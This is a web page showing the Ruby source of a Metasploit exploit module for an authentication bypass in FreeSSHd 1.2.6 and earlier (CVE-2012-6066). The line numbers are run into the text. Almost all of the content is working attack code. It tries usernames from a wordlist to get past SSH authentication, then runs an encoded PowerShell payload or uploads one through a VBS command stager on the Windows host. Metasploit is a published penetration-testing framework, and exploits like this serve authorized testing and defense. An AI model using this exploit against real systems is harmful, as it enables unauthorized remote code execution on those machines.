Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/ssh/freesshd_authbypass.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##456class MetasploitModule < Msf::Exploit::Remote7Rank = ExcellentRanking89include Msf::Exploit::Remote::Tcp10include Msf::Exploit::Powershell11include Msf::Exploit::CmdStager1213def initialize(info = {})14super(15update_info(16info,17'Name' => "Freesshd Authentication Bypass",18'Description' => %q{19This module exploits a vulnerability found in FreeSSHd <= 1.2.6 to bypass20authentication. You just need the username (which defaults to root). The exploit21has been tested with both password and public key authentication.22},23'License' => MSF_LICENSE,24'Author' =>25[26'Aris', # Vulnerability discovery and Exploit27'kcope', # 2012 Exploit28'Daniele Martini <cyrax[at]pkcrew.org>', # Metasploit module29'Imran E. Dawoodjee <imrandawoodjee[at][email protected]> (minor improvements)' # minor improvements30],31'References' =>32[33['CVE', '2012-6066'],34['OSVDB', '88006'],35['BID', '56785'],36['URL', 'http://archives.neohapsis.com/archives/fulldisclosure/2012-12/0012.html'],37['URL', 'https://seclists.org/fulldisclosure/2010/Aug/132']38],39'Platform' => 'win',40'Privileged' => true,41'Targets' =>42[43['PowerShell', {}],44['CmdStager upload', {}]45],46'DefaultTarget' => 0,47'DisclosureDate' => '2010-08-11'48)49)5051register_options(52[53Opt::RPORT(22),54OptString.new('USERNAME', [false, 'A specific username to try']),55OptPath.new(56'USER_FILE',57[58true,59"File containing usernames, one per line",60# Defaults to unix_users.txt, because this is the closest one we can try61File.join(Msf::Config.data_directory, "wordlists", "unix_users.txt")62]63)64]65)66end6768def check69connect70banner = sock.recv(30)71disconnect72if banner.match?(/SSH\-2\.0\-WeOnlyDo/)73version = banner.split(" ")[1]74return Exploit::CheckCode::Vulnerable if version.match?(/(2\.1\.3|2\.0\.6)/)7576return Exploit::CheckCode::Detected77end78Exploit::CheckCode::Safe79end8081def execute_command(cmd, _opts = {})82@connection.exec!("cmd.exe /c " + cmd)83end8485def setup_ssh_options86{87password: rand_text_alpha(8),88port: datastore['RPORT'],89timeout: 1,90proxies: datastore['Proxies'],91key_data: OpenSSL::PKey::RSA.new(2048).to_pem,92auth_methods: ['publickey'],93verify_host_key: :never94}95end9697def do_login(username, options)98print_status("Trying username '#{username}'")99options[:username] = username100101transport = Net::SSH::Transport::Session.new(datastore['RHOST'], options)102auth = Net::SSH::Authentication::Session.new(transport, options)103auth.authenticate("ssh-connection", username, options[:password])104connection = Net::SSH::Connection::Session.new(transport, options)105begin106Timeout.timeout(10) do107connection.exec!('cmd.exe /c echo')108end109rescue Timeout::Error110print_status("Timeout")111return nil112rescue RuntimeError113return nil114end115connection116end117118#119# Cannot use the auth_brute mixin, because if we do, a payload handler won't start.120# So we have to write our own each_user here.121#122def each_user123user_list = []124if datastore['USERNAME'] && !datastore['USERNAME'].empty?125user_list << datastore['USERNAME']126else127f = File.open(datastore['USER_FILE'], 'rb')128buf = f.read129f.close130131user_list = (user_list | buf.split).uniq132end133134user_list.each do |user|135yield user136end137end138139def exploit140unless [CheckCode::Vulnerable].include? check141fail_with Failure::NotVulnerable, 'Target is most likely not vulnerable!'142end143144options = setup_ssh_options145146@connection = nil147148each_user do |username|149next if username.empty?150151@connection = do_login(username, options)152break if @connection153end154155if @connection156case target.name157when 'PowerShell'158print_status('Executing payload via Powershell...')159psh_command = cmd_psh_payload(payload.encoded, payload_instance.arch.first)160@connection.exec!("cmd.exe /c " + psh_command)161when 'CmdStager upload'162print_status("Uploading payload, this may take several minutes...")163execute_cmdstager(flavor: :vbs, decoder: default_decoder(:vbs), linemax: 1700)164end165end166end167end168169170